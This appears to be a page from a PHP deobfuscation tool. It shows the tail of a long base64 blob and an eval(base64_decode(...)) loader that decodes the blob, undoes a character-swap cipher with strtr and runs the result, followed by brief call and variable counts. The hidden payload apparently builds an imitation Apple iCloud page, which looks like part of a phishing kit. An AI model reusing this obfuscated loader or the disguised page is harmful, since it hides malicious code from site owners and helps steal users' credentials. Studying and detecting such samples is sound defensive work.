4ydDVzPC9kNHY+PC9kNHY+XG4iOw0KNWNoMiAiCQkJCQkgIDxkNHYgNGQ9XCI0YzJuXzdcIiBzdHlsNT1cInAyczR0NDJuOiAxYnMybDN0NTsgYjJyZDVyLXIxZDQzczogYTAlOyBoNTRnaHQ6IDZpaS5hOHB4OyB3NGR0aDogNjY5LnVweDsgbDVmdDogdW83LmVhaXB4OyB0MnA6IGVvNy4wOTdweDsgYjFja2dyMjNuZC1jMmwycjogcmdiKGF1ZSwgYXU5LCBhdWkpO1wiPlxuIjsNCjVjaDIgIgkJCQkJCTxkNHYgc3R5bDU9XCJwMnM0dDQybjogMWJzMmwzdDU7IGIydHQybTogLTYwcHg7IGw1ZnQ6IGkwJTsgdHIxbnNmMnJtOiB0cjFuc2wxdDVYKC1pMCUpIHRyMW5zbDF0NVkoNjAwJSk7IGYybnQtZjFtNGx5OiBTRlQ1eHQsIEg1bHY1dDRjMSwgczFucy1zNXI0ZjsgZjJudC1zNHo1OiA2b3B4OyBmMm50LXc1NGdodDogdTAwOyBjMmwycjogI29vbzsgd2g0dDUtc3AxYzU6IG4yd3IxcDtcIj5SNW00bmQ1cnM8L2Q0dj48L2Q0dj5cbiI7DQo1Y2gyICIJCQkJCQk8ZDR2IDRkPVwiNGMybl84XCIgc3R5bDU9XCJwMnM0dDQybjogMWJzMmwzdDU7IGIycmQ1ci1yMWQ0M3M6IGEwJTsgaDU0Z2h0OiA2aWkuYThweDsgdzRkdGg6IDY2OS51cHg7IGw1ZnQ6IGVhYS5lOWlweDsgdDJwOiBlbzcuMDk3cHg7IGIxY2tncjIzbmQtYzJsMnI6IHJnYihhaWksIDY3MCwgbzApO1wiPlxuIjsNCjVjaDIgIgkJCQkJCSAgPGQ0diBzdHlsNT1cInAyczR0NDJuOiAxYnMybDN0NTsgYjJ0dDJtOiAtNjBweDsgbDVmdDogaTAlOyB0cjFuc2Yycm06IHRyMW5zbDF0NVgoLWkwJSkgdHIxbnNsMXQ1WSg2MDAlKTsgZjJudC1mMW00bHk6IFNGVDV4dCwgSDVsdjV0NGMxLCBzMW5zLXM1cjRmOyBmMm50LXM0ejU6IDZvcHg7IGYybnQtdzU0Z2h0OiB1MDA7IGMybDJyOiAjb29vOyB3aDR0NS1zcDFjNTogbjJ3cjFwO1wiPlAxZzVzPC9kNHY+PC9kNHY+XG4iOw0KNWNoMiAiCQkJCQkJICA8ZDR2IDRkPVwiNGMybl85XCIgc3R5bDU9XCJwMnM0dDQybjogMWJzMmwzdDU7IGIycmQ1ci1yMWQ0M3M6IGEwJTsgaDU0Z2h0OiA2aWkuYThweDsgdzRkdGg6IDY2OS51cHg7IGw1ZnQ6IDgwNy43ZWlweDsgdDJwOiBlbzcuMDk3cHg7IGIxY2tncjIzbmQtYzJsMnI6IHJnYig2YWksIGFvOSwgNmEwKTtcIj5cbiI7DQo1Y2gyICIJCQkJCQkJDQo1NGdodDogNmlpLmE4cHg7IHc0ZHRoOiA2NjkudXB4OyBsNWZ0OiA2Njc3LjlweDsgdDJwOiBlbzcuMDk3cHg7IGIxY2tncjIzbmQtYzJsMnI6IHJnYihhaWksIDY5bywgaWkpO1wiPlxuIjsNCjVjaDIgIgkJCQkJCQkgIDxkNHYgc3R5bDU9XCJwMnM0dDQybjogMWJzMmwzdDU7IGIydHQybTogLTYwcHg7IGw1ZnQ6IGkwJTsgdHIxbnNmMnJtOiB0cjFuc2wxdDVYKC1pMCUpIHRyMW5zbDF0NVkoNjAwJSk7IGYybnQtZjFtNGx5OiBTRlQ1eHQsIEg1bHY1dDRjMSwgczFucy1zNXI0ZjsgZjJudC1zNHo1OiA2b3B4OyBmMm50LXc1NGdodDogdTAwOyBjMmwycjogI29vbzsgd2g0dDUtc3AxYzU6IG4yd3IxcDtcIj5GNG5kIEZyNDVuZHM8L2Q0dj48L2Q0dj5cbiI7DQo1Y2gyICIJCQkJCQkJICA8ZDR2IDRkPVwiNGMybl82YVwiIHN0eWw1PVwicDJzNHQ0Mm46IDFiczJsM3Q1OyBiMnJkNXItcjFkNDNzOiBhMCU7IGg1NGdodDogNmlpLmE4cHg7IHc0ZHRoOiA2NjkudXB4OyBsNWZ0OiA2b2VhLjk3cHg7IHQycDogZW83LjA5N3B4OyBiMWNrZ3IyM25kLWMybDJyOiByZ2IoNmE2LCA2ZTksIDZhOSk7XCI+XG4iOw0KNWNoMiAiCQkJCQkJCQk8ZDR2IHN0eWw1PVwicDJzNHQ0Mm46IDFiczJsM3Q1OyBiMnR0Mm06IC02MHB4OyBsNWZ0OiBpMCU7IHRyMW5zZjJybTogdHIxbnNsMXQ1WCgtaTAlKSB0cjFuc2wxdDVZKDYwMCUpOyBmMm50LWYxbTRseTogU0ZUNXh0LCBINWx2NXQ0YzEsIHMxbnMtczVyNGY7IGYybnQtczR6NTogNm9weDsgZjJudC13NTRnaHQ6IHUwMDsgYzJsMnI6ICNvb287IHdoNHQ1LXNwMWM1OiBuMndyMXA7XCI+RjRuZCA0UGgybjU8L2Q0dj48L2Q0dj5cbiI7DQo1Y2gyICIJCQkJCQkJICA8L2Q0dj5cbiI7DQo1Y2gyICIJCQkJCQkJCQkJPGQ0diBjbDFzcz1cImMybnQ1bnQtYzJudDE0bjVyLXY0NXdcIj5cbiI7DQo1Y2gyICIJCQkJCQkJCQkJCTxkNHYgY2wxc3M9XCJjMm50NW50XCIgc3R5bDU9XCJtMXJnNG4tdDJwOiB1dXB4O1wiPlxuIjsNCjVjaDIgIgkJCQkJCQkJCQkJCTxkNHYgY2wxc3M9XCJjaDRsZC12NDV3c1wiPlxuIjsNCjVjaDIgIgkJCQkJCQkJCQkJCQk8ZDR2IGNsMXNzPVwiaDJtNS1sMmc0bi12NDV3XCI+XG4iOw0KNWNoMiAiCQkJCQkJCQkJCQkJCQk8ZDR2IGNsMXNzPVwibjJ0NGM1LXY0NXctYzJudDE0bjVyXCI+PGQ0dj48L2Q0dj48L2Q0dj5cbiI7DQo1Y2gyICIJCQkJCQkJCQkJCQkJCTxkNHYgY2wxc3M9XCJjMm50MTRuNXItdjQ1d1wiPlxuIjsNCjVjaDIgIgkJCQkJCQkJCQkJCQkJCTxkNHYgY2wxc3M9XCJjbDIzZC0ycy0xcHBsNS00ZC12NDV3XCI+ICAgXG4iOw0KNWNoMiAiCQkJCQkJCQkJCQkJCQkJCTxkNHYgY2wxc3M9XCJ2NDV3LXY0czRibDVcIj4gICAgICAgXG4iOw0KNWNoMiAiCQkJCQkJCQkJCQkJCQkJCQk8ZDR2IGNsMXNzPVwiMXBwbDUtNGQtdjQ1dyAxcHBsNS00ZC0zNC12NDV3XCI+PGQ0dj48L2Q0dj5kNHY+XG4iOw0KNWNoMiAiCQkJCQkJCQkJCQkJCQkJCSAgPC9kNHY+ICAgXG4iOw0KNWNoMiAiCQkJCQkJCQkJCQkJCQkJCSAgPC9kNHY+ICAgPGMxbnYxcyBjbDFzcz1cImN3LXNwNG5uNXItdjQ1d1wiIGg1NGdodD1cImV1XCIgdzRkdGg9XCJldVwiIHN0eWw1PVwiaDU0Z2h0OiBvYXB4OyB3NGR0aDogb2FweDsgZDRzcGwxeTogbjJuNTtcIj48L2MxbnYxcz48L2Q0dj48L2Q0dj48ZDR2IGNsMXNzPVwicTM0Y2stMWNjNXNzLXY0NXcgaDRkNS1xMzRjay0xY2M1c3MtdjQ1d1wiPjxkNHY+PC9kNHY+PC9kNHY+PC9kNHY+PC9kNHY+XG4iOw0KNWNoMiAiCQkJCQkJCQkJCQkJCQkJCTwvZDR2PjwvZDR2PjwvZDR2PjwvZDR2PlxuIjsNCjVjaDIgIgkJCQkJCQkJCQkJCQkJCQkJCVxuIjsNCjVjaDIgIjwvc2NyNHB0PlxuIjsNCjVjaDIgIiA8c2NyNHB0IHNyYz1cImNzc28vZjIydDVyLmpzXCI+PC9zY3I0cHQ+XG4iOw0KNWNoMiAiCSAgPC9iMmR5PlxuIjsNCjVjaDIgIgkgIDwvaHRtbD4iOw0KKi8NCj8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

Function Calls

ereg_replace 1
base64_decode 2
strtr 1

Variables

$_R 0
$_X 0
$_F index.php

Stats

MD5 2590315fbcb0cc91e64aad8e6c00370c
Eval Count 2
Decode Time 378 ms